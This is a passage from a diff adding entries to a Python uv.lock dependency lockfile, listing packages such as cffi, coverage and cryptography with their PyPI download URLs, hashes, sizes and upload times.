"https://files.pythonhosted.org/packages/42/b9/f8d6fa329ab25128b7e98fd83a3cb34d9db5b059a9847eddb840a0af45dd/argon2_cffi_bindings-25.1.0-cp39-abi3-win_arm64.whl", hash = "sha256:b0fdbcf513833809c882823f98dc2f931cf659d9a1429616ac3adebb49f5db94", size = 27149, upload-time = "2025-07-30T10:01:59.329Z" }, +] + +[[package]] +name = "astroid" +version = "4.0.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/07/63/0adf26577da5eff6eb7a177876c1cfa213856be9926a000f65c4add9692b/astroid-4.0.4.tar.gz", hash = "sha256:986fed8bcf79fb82c78b18a53352a0b287a73817d6dbcfba3162da36667c49a0", size = 406358, upload-time = "2026-02-07T23:35:07.509Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b0/cf/1c5f42b110e57bc5502eb80dbc3b03d256926062519224835ef08134f1f9/astroid-4.0.4-py3-none-any.whl", hash = "sha256:52f39653876c7dec3e3afd4c2696920e05c83832b9737afc21928f2d2eb7a753", size = 276445, upload-time = "2026-02-07T23:35:05.344Z" }, +] + +[[package]] +name = "blinker" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" }, +] + +[[package]] +name = "cffi" +version = "2.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pycparser", marker = "implementation_name != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/eb/56/b1ba7935a17738ae8453301356628e8147c79dbb825bcbc73dc7401f9846/cffi-2.0.0.tar.gz", hash = "sha256:44d1b5909021139fe36001ae048dbdde8214afa20200eda0f64c068cac5d5529", size = 523588, upload-time = "2025-09-08T23:24:04.541Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/92/c4/3ce07396253a83250ee98564f8d7e9789fab8e58858f35d07a9a2c78de9f/cffi-2.0.0-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:fc33c5141b55ed366cfaad382df24fe7dcbc686de5be719b207bb248e3053dc5", size = 185320, upload-time = "2025-09-08T23:23:18.087Z" }, + { url = "https://files.pythonhosted.org/packages/59/dd/27e9fa567a23931c838c6b02d0764611c62290062a6d4e8ff7863daf9730/cffi-2.0.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c654de545946e0db659b3400168c9ad31b5d29593291482c43e3564effbcee13", size = 181487, upload-time = "2025-09-08T23:23:19.622Z" }, + { url = "https://files.pythonhosted.org/packages/d6/43/0e822876f87ea8a4ef95442c3d766a06a51fc5298823f884ef87aaad168c/cffi-2.0.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:24b6f81f1983e6df8db3adc38562c83f7d4a0c36162885ec7f7b77c7dcbec97b", size = 220049, upload-time = "2025-09-08T23:23:20.853Z" }, + { url = "https://files.pythonhosted.org/packages/b4/89/76799151d9c2d2d1ead63c2429da9ea9d7aac304603de0c6e8764e6e8e70/cffi-2.0.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:12873ca6cb9b0f0d3a0da705d6086fe911591737a59f28b7936bdfed27c0d47c", size = 207793, upload-time = "2025-09-08T23:23:22.08Z" }, + { url = "https://files.pythonhosted.org/packages/bb/dd/3465b14bb9e24ee24cb88c9e3730f6de63111fffe513492bf8c808a3547e/cffi-2.0.0-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:d9b97165e8aed9272a6bb17c01e3cc5871a594a446ebedc996e2397a1c1ea8ef", size = 206300, upload-time = "2025-09-08T23:23:23.314Z" }, + { url = "https://files.pythonhosted.org/packages/47/d9/d83e293854571c877a92da46fdec39158f8d7e68da75bf73581225d28e90/cffi-2.0.0-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:afb8db5439b81cf9c9d0c80404b60c3cc9c3add93e114dcae767f1477cb53775", size = 219244, upload-time = "2025-09-08T23:23:24.541Z" }, + { url = "https://files.pythonhosted.org/packages/2b/0f/1f177e3683aead2bb00f7679a16451d302c436b5cbf2505f0ea8146ef59e/cffi-2.0.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:737fe7d37e1a1bffe70bd5754ea763a62a066dc5913ca57e957824b72a85e205", size = 222828, upload-time = "2025-09-08T23:23:26.143Z" }, + { url = "https://files.pythonhosted.org/packages/c6/0f/cafacebd4b040e3119dcb32fed8bdef8dfe94da653155f9d0b9dc660166e/cffi-2.0.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:38100abb9d1b1435bc4cc340bb4489635dc2f0da7456590877030c9b3d40b0c1", size = 220926, upload-time = "2025-09-08T23:23:27.873Z" }, + { url = "https://files.pythonhosted.org/packages/3e/aa/df335faa45b395396fcbc03de2dfcab242cd61a9900e914fe682a59170b1/cffi-2.0.0-cp314-cp314-win32.whl", hash = "sha256:087067fa8953339c723661eda6b54bc98c5625757ea62e95eb4898ad5e776e9f", size = 175328, upload-time = "2025-09-08T23:23:44.61Z" }, + { url = "https://files.pythonhosted.org/packages/bb/92/882c2d30831744296ce713f0feb4c1cd30f346ef747b530b5318715cc367/cffi-2.0.0-cp314-cp314-win_amd64.whl", hash = "sha256:203a48d1fb583fc7d78a4c6655692963b860a417c0528492a6bc21f1aaefab25", size = 185650, upload-time = "2025-09-08T23:23:45.848Z" }, + { url = "https://files.pythonhosted.org/packages/9f/2c/98ece204b9d35a7366b5b2c6539c350313ca13932143e79dc133ba757104/cffi-2.0.0-cp314-cp314-win_arm64.whl", hash = "sha256:dbd5c7a25a7cb98f5ca55d258b103a2054f859a46ae11aaf23134f9cc0d356ad", size = 180687, upload-time = "2025-09-08T23:23:47.105Z" }, + { url = "https://files.pythonhosted.org/packages/3e/61/c768e4d548bfa607abcda77423448df8c471f25dbe64fb2ef6d555eae006/cffi-2.0.0-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:9a67fc9e8eb39039280526379fb3a70023d77caec1852002b4da7e8b270c4dd9", size = 188773, upload-time = "2025-09-08T23:23:29.347Z" }, + { url = "https://files.pythonhosted.org/packages/2c/ea/5f76bce7cf6fcd0ab1a1058b5af899bfbef198bea4d5686da88471ea0336/cffi-2.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:7a66c7204d8869299919db4d5069a82f1561581af12b11b3c9f48c584eb8743d", size = 185013, upload-time = "2025-09-08T23:23:30.63Z" }, + { url = "https://files.pythonhosted.org/packages/be/b4/c56878d0d1755cf9caa54ba71e5d049479c52f9e4afc230f06822162ab2f/cffi-2.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7cc09976e8b56f8cebd752f7113ad07752461f48a58cbba644139015ac24954c", size = 221593, upload-time = "2025-09-08T23:23:31.91Z" }, + { url = "https://files.pythonhosted.org/packages/e0/0d/eb704606dfe8033e7128df5e90fee946bbcb64a04fcdaa97321309004000/cffi-2.0.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:92b68146a71df78564e4ef48af17551a5ddd142e5190cdf2c5624d0c3ff5b2e8", size = 209354, upload-time = "2025-09-08T23:23:33.214Z" }, + { url = "https://files.pythonhosted.org/packages/d8/19/3c435d727b368ca475fb8742ab97c9cb13a0de600ce86f62eab7fa3eea60/cffi-2.0.0-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:b1e74d11748e7e98e2f426ab176d4ed720a64412b6a15054378afdb71e0f37dc", size = 208480, upload-time = "2025-09-08T23:23:34.495Z" }, + { url = "https://files.pythonhosted.org/packages/d0/44/681604464ed9541673e486521497406fadcc15b5217c3e326b061696899a/cffi-2.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:28a3a209b96630bca57cce802da70c266eb08c6e97e5afd61a75611ee6c64592", size = 221584, upload-time = "2025-09-08T23:23:36.096Z" }, + { url = "https://files.pythonhosted.org/packages/25/8e/342a504ff018a2825d395d44d63a767dd8ebc927ebda557fecdaca3ac33a/cffi-2.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7553fb2090d71822f02c629afe6042c299edf91ba1bf94951165613553984512", size = 224443, upload-time = "2025-09-08T23:23:37.328Z" }, + { url = "https://files.pythonhosted.org/packages/e1/5e/b666bacbbc60fbf415ba9988324a132c9a7a0448a9a8f125074671c0f2c3/cffi-2.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:6c6c373cfc5c83a975506110d17457138c8c63016b563cc9ed6e056a82f13ce4", size = 223437, upload-time = "2025-09-08T23:23:38.945Z" }, + { url = "https://files.pythonhosted.org/packages/a0/1d/ec1a60bd1a10daa292d3cd6bb0b359a81607154fb8165f3ec95fe003b85c/cffi-2.0.0-cp314-cp314t-win32.whl", hash = "sha256:1fc9ea04857caf665289b7a75923f2c6ed559b8298a1b8c49e59f7dd95c8481e", size = 180487, upload-time = "2025-09-08T23:23:40.423Z" }, + { url = "https://files.pythonhosted.org/packages/bf/41/4c1168c74fac325c0c8156f04b6749c8b6a8f405bbf91413ba088359f60d/cffi-2.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:d68b6cef7827e8641e8ef16f4494edda8b36104d79773a334beaa1e3521430f6", size = 191726, upload-time = "2025-09-08T23:23:41.742Z" }, + { url = "https://files.pythonhosted.org/packages/ae/3a/dbeec9d1ee0844c679f6bb5d6ad4e9f198b1224f4e7a32825f47f6192b0c/cffi-2.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:0a1527a803f0a659de1af2e1fd700213caba79377e27e4693648c2923da066f9", size = 184195, upload-time = "2025-09-08T23:23:43.004Z" }, +] + +[[package]] +name = "cfgv" +version = "3.5.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/4e/b5/721b8799b04bf9afe054a3899c6cf4e880fcf8563cc71c15610242490a0c/cfgv-3.5.0.tar.gz", hash = "sha256:d5b1034354820651caa73ede66a6294d6e95c1b00acc5e9b098e917404669132", size = 7334, upload-time = "2025-11-19T20:55:51.612Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/db/3c/33bac158f8ab7f89b2e59426d5fe2e4f63f7ed25df84c036890172b412b5/cfgv-3.5.0-py2.py3-none-any.whl", hash = "sha256:a8dc6b26ad22ff227d2634a65cb388215ce6cc96bbcc5cfde7641ae87e8dacc0", size = 7445, upload-time = "2025-11-19T20:55:50.744Z" }, +] + +[[package]] +name = "click" +version = "8.3.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/3d/fa/656b739db8587d7b5dfa22e22ed02566950fbfbcdc20311993483657a5c0/click-8.3.1.tar.gz", hash = "sha256:12ff4785d337a1bb490bb7e9c2b1ee5da3112e94a8622f26a6c77f5d2fc6842a", size = 295065, upload-time = "2025-11-15T20:45:42.706Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/98/78/01c019cdb5d6498122777c1a43056ebb3ebfeef2076d9d026bfe15583b2b/click-8.3.1-py3-none-any.whl", hash = "sha256:981153a64e25f12d547d3426c367a4857371575ee7ad18df2a6183ab0545b2a6", size = 108274, upload-time = "2025-11-15T20:45:41.139Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "coverage" +version = "7.13.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/11/43/3e4ac666cc35f231fa70c94e9f38459299de1a152813f9d2f60fc5f3ecaf/coverage-7.13.3.tar.gz", hash = "sha256:f7f6182d3dfb8802c1747eacbfe611b669455b69b7c037484bb1efbbb56711ac", size = 826832, upload-time = "2026-02-03T14:02:30.944Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/5e/b3/677bb43427fed9298905106f39c6520ac75f746f81b8f01104526a8026e4/coverage-7.13.3-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c6f6169bbdbdb85aab8ac0392d776948907267fcc91deeacf6f9d55f7a83ae3b", size = 219513, upload-time = "2026-02-03T14:01:34.29Z" }, + { url = "https://files.pythonhosted.org/packages/42/53/290046e3bbf8986cdb7366a42dab3440b9983711eaff044a51b11006c67b/coverage-7.13.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:2f5e731627a3d5ef11a2a35aa0c6f7c435867c7ccbc391268eb4f2ca5dbdcc10", size = 219850, upload-time = "2026-02-03T14:01:35.984Z" }, + { url = "https://files.pythonhosted.org/packages/ea/2b/ab41f10345ba2e49d5e299be8663be2b7db33e77ac1b85cd0af985ea6406/coverage-7.13.3-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:9db3a3285d91c0b70fab9f39f0a4aa37d375873677efe4e71e58d8321e8c5d39", size = 250886, upload-time = "2026-02-03T14:01:38.287Z" }, + { url = "https://files.pythonhosted.org/packages/72/2d/b3f6913ee5a1d5cdd04106f257e5fac5d048992ffc2d9995d07b0f17739f/coverage-7.13.3-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:06e49c5897cb12e3f7ecdc111d44e97c4f6d0557b81a7a0204ed70a8b038f86f", size = 253393, upload-time = "2026-02-03T14:01:40.118Z" }, + { url = "https://files.pythonhosted.org/packages/f0/f6/b1f48810ffc6accf49a35b9943636560768f0812330f7456aa87dc39aff5/coverage-7.13.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fb25061a66802df9fc13a9ba1967d25faa4dae0418db469264fd9860a921dde4", size = 254740, upload-time = "2026-02-03T14:01:42.413Z" }, + { url = "https://files.pythonhosted.org/packages/57/d0/e59c54f9be0b61808f6bc4c8c4346bd79f02dd6bbc3f476ef26124661f20/coverage-7.13.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:99fee45adbb1caeb914da16f70e557fb7ff6ddc9e4b14de665bd41af631367ef", size = 250905, upload-time = "2026-02-03T14:01:44.163Z" }, + { url = "https://files.pythonhosted.org/packages/d5/f7/5291bcdf498bafbee3796bb32ef6966e9915aebd4d0954123c8eae921c32/coverage-7.13.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:318002f1fd819bdc1651c619268aa5bc853c35fa5cc6d1e8c96bd9cd6c828b75", size = 252753, upload-time = "2026-02-03T14:01:45.974Z" }, + { url = "https://files.pythonhosted.org/packages/a0/a9/1dcafa918c281554dae6e10ece88c1add82db685be123e1b05c2056ff3fb/coverage-7.13.3-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:71295f2d1d170b9977dc386d46a7a1b7cbb30e5405492529b4c930113a33f895", size = 250716, upload-time = "2026-02-03T14:01:48.844Z" }, + { url = "https://files.pythonhosted.org/packages/44/bb/4ea4eabcce8c4f6235df6e059fbc5db49107b24c4bdffc44aee81aeca5a8/coverage-7.13.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:5b1ad2e0dc672625c44bc4fe34514602a9fd8b10d52ddc414dc585f74453516c", size = 250530, upload-time = "2026-02-03T14:01:50.793Z" }, + { url = "https://files.pythonhosted.org/packages/6d/31/4a6c9e6a71367e6f923b27b528448c37f4e959b7e4029330523014691007/coverage-7.13.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:b2beb64c145593a50d90db5c7178f55daeae129123b0d265bdb3cbec83e5194a", size = 252186, upload-time = "2026-02-03T14:01:52.607Z" }, + { url = "https://files.pythonhosted.org/packages/27/92/e1451ef6390a4f655dc42da35d9971212f7abbbcad0bdb7af4407897eb76/coverage-7.13.3-cp314-cp314-win32.whl", hash = "sha256:3d1aed4f4e837a832df2f3b4f68a690eede0de4560a2dbc214ea0bc55aabcdb4", size = 222253, upload-time = "2026-02-03T14:01:55.071Z" }, + { url = "https://files.pythonhosted.org/packages/8a/98/78885a861a88de020c32a2693487c37d15a9873372953f0c3c159d575a43/coverage-7.13.3-cp314-cp314-win_amd64.whl", hash = "sha256:9f9efbbaf79f935d5fbe3ad814825cbce4f6cdb3054384cb49f0c0f496125fa0", size = 223069, upload-time = "2026-02-03T14:01:56.95Z" }, + { url = "https://files.pythonhosted.org/packages/eb/fb/3784753a48da58a5337972abf7ca58b1fb0f1bda21bc7b4fae992fd28e47/coverage-7.13.3-cp314-cp314-win_arm64.whl", hash = "sha256:31b6e889c53d4e6687ca63706148049494aace140cffece1c4dc6acadb70a7b3", size = 221633, upload-time = "2026-02-03T14:01:58.758Z" }, + { url = "https://files.pythonhosted.org/packages/40/f9/75b732d9674d32cdbffe801ed5f770786dd1c97eecedef2125b0d25102dc/coverage-7.13.3-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:c5e9787cec750793a19a28df7edd85ac4e49d3fb91721afcdc3b86f6c08d9aa8", size = 220243, upload-time = "2026-02-03T14:02:01.109Z" }, + { url = "https://files.pythonhosted.org/packages/cf/7e/2868ec95de5a65703e6f0c87407ea822d1feb3619600fbc3c1c4fa986090/coverage-7.13.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:e5b86db331c682fd0e4be7098e6acee5e8a293f824d41487c667a93705d415ca", size = 220515, upload-time = "2026-02-03T14:02:02.862Z" }, + { url = "https://files.pythonhosted.org/packages/7d/eb/9f0d349652fced20bcaea0f67fc5777bd097c92369f267975732f3dc5f45/coverage-7.13.3-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:edc7754932682d52cf6e7a71806e529ecd5ce660e630e8bd1d37109a2e5f63ba", size = 261874, upload-time = "2026-02-03T14:02:04.727Z" }, + { url = "https://files.pythonhosted.org/packages/ee/a5/6619bc4a6c7b139b16818149a3e74ab2e21599ff9a7b6811b6afde99f8ec/coverage-7.13.3-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:d3a16d6398666510a6886f67f43d9537bfd0e13aca299688a19daa84f543122f", size = 264004, upload-time = "2026-02-03T14:02:06.634Z" }, + { url = "https://files.pythonhosted.org/packages/29/b7/90aa3fc645a50c6f07881fca4fd0ba21e3bfb6ce3a7078424ea3a35c74c9/coverage-7.13.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:303d38b19626c1981e1bb067a9928236d88eb0e4479b18a74812f05a82071508", size = 266408, upload-time = "2026-02-03T14:02:09.037Z" }, + { url = "https://files.pythonhosted.org/packages/62/55/08bb2a1e4dcbae384e638f0effef486ba5987b06700e481691891427d879/coverage-7.13.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:284e06eadfe15ddfee2f4ee56631f164ef897a7d7d5a15bca5f0bb88889fc5ba", size = 260977, upload-time = "2026-02-03T14:02:11.755Z" }, + { url = "https://files.pythonhosted.org/packages/9b/76/8bd4ae055a42d8fb5dd2230e5cf36ff2e05f85f2427e91b11a27fea52ed7/coverage-7.13.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:d401f0864a1d3198422816878e4e84ca89ec1c1bf166ecc0ae01380a39b888cd", size = 263868, upload-time = "2026-02-03T14:02:13.565Z" }, + { url = "https://files.pythonhosted.org/packages/e3/f9/ba000560f11e9e32ec03df5aa8477242c2d95b379c99ac9a7b2e7fbacb1a/coverage-7.13.3-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:3f379b02c18a64de78c4ccdddf1c81c2c5ae1956c72dacb9133d7dd7809794ab", size = 261474, upload-time = "2026-02-03T14:02:16.069Z" }, + { url = "https://files.pythonhosted.org/packages/90/4b/4de4de8f9ca7af4733bfcf4baa440121b7dbb3856daf8428ce91481ff63b/coverage-7.13.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:7a482f2da9086971efb12daca1d6547007ede3674ea06e16d7663414445c683e", size = 260317, upload-time = "2026-02-03T14:02:17.996Z" }, + { url = "https://files.pythonhosted.org/packages/05/71/5cd8436e2c21410ff70be81f738c0dddea91bcc3189b1517d26e0102ccb3/coverage-7.13.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:562136b0d401992118d9b49fbee5454e16f95f85b120a4226a04d816e33fe024", size = 262635, upload-time = "2026-02-03T14:02:20.405Z" }, + { url = "https://files.pythonhosted.org/packages/e7/f8/2834bb45bdd70b55a33ec354b8b5f6062fc90e5bb787e14385903a979503/coverage-7.13.3-cp314-cp314t-win32.whl", hash = "sha256:ca46e5c3be3b195098dd88711890b8011a9fa4feca942292bb84714ce5eab5d3", size = 223035, upload-time = "2026-02-03T14:02:22.323Z" }, + { url = "https://files.pythonhosted.org/packages/26/75/f8290f0073c00d9ae14056d2b84ab92dff21d5370e464cb6cb06f52bf580/coverage-7.13.3-cp314-cp314t-win_amd64.whl", hash = "sha256:06d316dbb3d9fd44cca05b2dbcfbef22948493d63a1f28e828d43e6cc505fed8", size = 224142, upload-time = "2026-02-03T14:02:24.143Z" }, + { url = "https://files.pythonhosted.org/packages/03/01/43ac78dfea8946c4a9161bbc034b5549115cb2b56781a4b574927f0d141a/coverage-7.13.3-cp314-cp314t-win_arm64.whl", hash = "sha256:299d66e9218193f9dc6e4880629ed7c4cd23486005166247c283fb98531656c3", size = 222166, upload-time = "2026-02-03T14:02:26.005Z" }, + { url = "https://files.pythonhosted.org/packages/7d/fb/70af542d2d938c778c9373ce253aa4116dbe7c0a5672f78b2b2ae0e1b94b/coverage-7.13.3-py3-none-any.whl", hash = "sha256:90a8af9dba6429b2573199622d72e0ebf024d6276f16abce394ad4d181bb0910", size = 211237, upload-time = "2026-02-03T14:02:27.986Z" }, +] + +[[package]] +name = "cryptography" +version = "46.0.4" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/78/19/f748958276519adf6a0c1e79e7b8860b4830dda55ccdf29f2719b5fc499c/cryptography-46.0.4.tar.gz", hash = "sha256:bfd019f60f8abc2ed1b9be4ddc21cfef059c841d86d710bb69909a688cbb8f59", size = 749301, upload-time = "2026-01-28T00:24:37.379Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/8d/99/157aae7949a5f30d51fcb1a9851e8ebd5c74bf99b5285d8bb4b8b9ee641e/cryptography-46.0.4-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:281526e865ed4166009e235afadf3a4c4cba6056f99336a99efba65336fd5485", size = 7173686, upload-time = "2026-01-28T00:23:07.515Z" }, + { url = "https://files.pythonhosted.org/packages/87/91/874b8910903159043b5c6a123b7e79c4559ddd1896e38967567942635778/cryptography-46.0.4-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5f14fba5bf6f4390d7ff8f086c566454bff0411f6d8aa7af79c88b6f9267aecc", size = 4275871, upload-time = "2026-01-28T00:23:09.439Z" }, + { url = "https://files.pythonhosted.org/packages/c0/35/690e809be77896111f5b195ede56e4b4ed0435b428c2f2b6d35046fbb5e8/cryptography-46.0.4-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:47bcd19517e6389132f76e2d5303ded6cf3f78903da2158a671be8de024f4cd0", size = 4423124, upload-time = "2026-01-28T00:23:11.529Z" }, + { url = "https://files.pythonhosted.org/packages/1a/5b/a26407d4f79d61ca4bebaa9213feafdd8806dc69d3d290ce24996d3cfe43/cryptography-46.0.4-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:01df4f50f314fbe7009f54046e908d1754f19d0c6d3070df1e6268c5a4af09fa", size = 4277090, upload-time = "2026-01-28T00:23:13.123Z" }, + { url = "https://files.pythonhosted.org/packages/0c/d8/4bb7aec442a9049827aa34cee1aa83803e528fa55da9a9d45d01d1bb933e/cryptography-46.0.4-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:5aa3e463596b0087b3da0dbe2b2487e9fc261d25da85754e30e3b40637d61f81", size = 4947652, upload-time = "2026-01-28T00:23:14.554Z" }, + { url = "https://files.pythonhosted.org/packages/2b/08/f83e2e0814248b844265802d081f2fac2f1cbe6cd258e72ba14ff006823a/cryptography-46.0.4-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0a9ad24359fee86f131836a9ac3bffc9329e956624a2d379b613f8f8abaf5255", size = 4455157, upload-time = "2026-01-28T00:23:16.443Z" }, + { url = "https://files.pythonhosted.org/packages/0a/05/19d849cf4096448779d2dcc9bb27d097457dac36f7273ffa875a93b5884c/cryptography-46.0.4-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:dc1272e25ef673efe72f2096e92ae39dea1a1a450dd44918b15351f72c5a168e", size = 3981078, upload-time = "2026-01-28T00:23:17.838Z" }, + { url = "https://files.pythonhosted.org/packages/e6/89/f7bac81d66ba7cde867a743ea5b37537b32b5c633c473002b26a226f703f/cryptography-46.0.4-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:de0f5f4ec8711ebc555f54735d4c673fc34b65c44283895f1a08c2b49d2fd99c", size = 4276213, upload-time = "2026-01-28T00:23:19.257Z" }, + { url = "https://files.pythonhosted.org/packages/da/9f/7133e41f24edd827020ad21b068736e792bc68eecf66d93c924ad4719fb3/cryptography-46.0.4-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:eeeb2e33d8dbcccc34d64651f00a98cb41b2dc69cef866771a5717e6734dfa32", size = 4912190, upload-time = "2026-01-28T00:23:21.244Z" }, + { url = "https://files.pythonhosted.org/packages/a6/f7/6d43cbaddf6f65b24816e4af187d211f0bc536a29961f69faedc48501d8e/cryptography-46.0.4-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:3d425eacbc9aceafd2cb429e42f4e5d5633c6f873f5e567077043ef1b9bbf616", size = 4454641, upload-time = "2026-01-28T00:23:22.866Z" }, + { url = "https://files.pythonhosted.org/packages/9e/4f/ebd0473ad656a0ac912a16bd07db0f5d85184924e14fc88feecae2492834/cryptography-46.0.4-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:91627ebf691d1ea3976a031b61fb7bac1ccd745afa03602275dda443e11c8de0", size = 4405159, upload-time = "2026-01-28T00:23:25.278Z" }, + { url = "https://files.pythonhosted.org/packages/d1/f7/7923886f32dc47e27adeff8246e976d77258fd2aa3efdd1754e4e323bf49/cryptography-46.0.4-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:2d08bc22efd73e8854b0b7caff402d735b354862f1145d7be3b9c0f740fef6a0", size = 4666059, upload-time = "2026-01-28T00:23:26.766Z" }, + { url = "https://files.pythonhosted.org/packages/eb/a7/0fca0fd3591dffc297278a61813d7f661a14243dd60f499a7a5b48acb52a/cryptography-46.0.4-cp311-abi3-win32.whl", hash = "sha256:82a62483daf20b8134f6e92898da70d04d0ef9a75829d732ea1018678185f4f5", size = 3026378, upload-time = "2026-01-28T00:23:28.317Z" }, + { url = "https://files.pythonhosted.org/packages/2d/12/652c84b6f9873f0909374864a57b003686c642ea48c84d6c7e2c515e6da5/cryptography-46.0.4-cp311-abi3-win_amd64.whl", hash = "sha256:6225d3ebe26a55dbc8ead5ad1265c0403552a63336499564675b29eb3184c09b", size = 3478614, upload-time = "2026-01-28T00:23:30.275Z" }, + { url = "https://files.pythonhosted.org/packages/b9/27/542b029f293a5cce59349d799d4d8484b3b1654a7b9a0585c266e974a488/cryptography-46.0.4-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:485e2b65d25ec0d901bca7bcae0f53b00133bf3173916d8e421f6fddde103908", size = 7116417, upload-time = "2026-01-28T00:23:31.958Z" }, + { url = "https://files.pythonhosted.org/packages/f8/f5/559c25b77f40b6bf828eabaf988efb8b0e17b573545edb503368ca0a2a03/cryptography-46.0.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:078e5f06bd2fa5aea5a324f2a09f914b1484f1d0c2a4d6a8a28c74e72f65f2da", size = 4264508, upload-time = "2026-01-28T00:23:34.264Z" }, + { url = 